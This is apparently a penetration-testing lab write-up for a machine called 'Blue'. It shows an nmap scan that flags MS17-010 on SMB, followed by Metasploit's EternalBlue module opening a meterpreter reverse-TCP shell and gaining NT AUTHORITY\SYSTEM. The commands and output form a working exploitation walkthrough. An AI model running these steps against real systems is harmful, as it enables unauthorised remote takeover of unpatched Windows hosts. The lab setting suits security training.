Report Blue

IP

172.16.215.130

Vulnerabilities

port 139 = smb-vuln-ms17-010

nmap

```
─$ nmap -sV -T4 -p- -v --script=vuln 172.16.215.130
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-27 16:57 CET
NSE: Loaded 149 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:57
Completed NSE at 16:57, 10.00s elapsed
Initiating NSE at 16:57
Completed NSE at 16:57, 0.00s elapsed
Initiating Ping Scan at 16:57
Scanning 172.16.215.130 [2 ports]
Completed Ping Scan at 16:57, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:57
Completed Parallel DNS resolution of 1 host. at 16:57, 0.01s elapsed
Initiating Connect Scan at 16:57
Scanning 172.16.215.130 [65535 ports]
Discovered open port 135/tcp on 172.16.215.130
Discovered open port 139/tcp on 172.16.215.130
Discovered open port 445/tcp on 172.16.215.130
Discovered open port 49155/tcp on 172.16.215.130
Discovered open port 49154/tcp on 172.16.215.130
Connect Scan Timing: About 45.43% done; ETC: 16:58 (0:00:37 remaining)
Discovered open port 49157/tcp on 172.16.215.130
Discovered open port 49156/tcp on 172.16.215.130
Discovered open port 49153/tcp on 172.16.215.130
Discovered open port 49152/tcp on 172.16.215.130
Completed Connect Scan at 16:58, 64.89s elapsed (65535 total ports)
Initiating Service scan at 16:58
Scanning 9 services on 172.16.215.130
Service scan Timing: About 44.44% done; ETC: 17:00 (0:01:08 remaining)
Completed Service scan at 16:59, 58.56s elapsed (9 services on 1 host)
NSE: Script scanning 172.16.215.130.
Initiating NSE at 16:59
NSE: [firewall-bypass] lacks privileges.
Completed NSE at 16:59, 8.09s elapsed
```

```
Initiating NSE at 16:59
NSE: [tls-ticketbleed] Not running due to lack of privileges.
Completed NSE at 16:59, 0.09s elapsed
Nmap scan report for 172.16.215.130
Host is up (0.00022s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
135/tcp  open  msrpc       Microsoft Windows RPC
139/tcp  open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc      Microsoft Windows RPC
49153/tcp open  msrpc      Microsoft Windows RPC
49154/tcp open  msrpc      Microsoft Windows RPC
49155/tcp open  msrpc      Microsoft Windows RPC
49156/tcp open  msrpc      Microsoft Windows RPC
49157/tcp open  msrpc      Microsoft Windows RPC
Service Info: Host: WIN-845Q99OO4PP; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

NSE: Script Post-scanning.
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
Initiating NSE at 16:59
Completed NSE at 16:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.25 seconds
```

metasploit

```
└─$ msfconsole
```

```
 _____________________________________________________________________________
|                                    |
|             3Kom SuperHack II Logon                |
|____________________________________________________________________________|
|                                    |
|                                    |
|                                    |
|          User Name:      [  security  ]            |
|                                    |
|          Password:       [        ]            |
|                                    |
|                                    |
|                                    |
|                  [ OK ]                    |
|____________________________________________________________________________|
|                                    |
|                          https://metasploit.com |
|____________________________________________________________________________|


    =[ metasploit v6.2.31-dev                ]
+ -- --=[ 2274 exploits - 1192 auxiliary - 405 post     ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops        ]
+ -- --=[ 9 evasion                       ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metaspl
                                     oit-framework/wiki/Using-Metasploit
  THREADS 1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set rhosts 172.16.215.130
rhosts => 172.16.215.130
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 172.16.215.130:445    - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:)
(guid:{174bc372-f278-45d3-a7b8-c5449a6aae7f}) (authentication domain:WIN-845Q99OO4PP)
[+] 172.16.215.130:445    -   Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-845Q99OO4PP)
[*] 172.16.215.130:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

msf6 auxiliary(scanner/smb/smb_version) >

exploit

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.189.18.119	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the info, or info -d command.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 172.16.215.130
rhost => 172.16.215.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 172.16.215.1:4444
```

```
[*] 172.16.215.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.215.130:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 172.16.215.130:445    - Scanned 1 of 1 hosts (100% complete)
[+] 172.16.215.130:445 - The target is vulnerable.
[*] 172.16.215.130:445 - Connecting to target for exploitation.
[+] 172.16.215.130:445 - Connection established for exploitation.
[+] 172.16.215.130:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.215.130:445 - CORE raw buffer dump (38 bytes)
[*] 172.16.215.130:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 172.16.215.130:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
[*] 172.16.215.130:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1
[+] 172.16.215.130:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.215.130:445 - Trying exploit with 12 Groom Allocations.
[*] 172.16.215.130:445 - Sending all but last fragment of exploit packet
[*] 172.16.215.130:445 - Starting non-paged pool grooming
[+] 172.16.215.130:445 - Sending SMBv2 buffers
[+] 172.16.215.130:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.215.130:445 - Sending final SMBv2 buffers.
[*] 172.16.215.130:445 - Sending last fragment of exploit packet!
[*] 172.16.215.130:445 - Receiving response from exploit packet
[+] 172.16.215.130:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.215.130:445 - Sending egg to corrupted connection.
[*] 172.16.215.130:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 172.16.215.130
[*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.130:49159) at 2022-12-27 17:16:40 +0100
[+] 172.16.215.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.215.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.215.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > ls
Listing: C:\Windows\system32
============================

Mode          Size    Type  Last modified          Name
----          ----    ----  -------------          ----



------------------------------------------------------------------------------------------------

meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```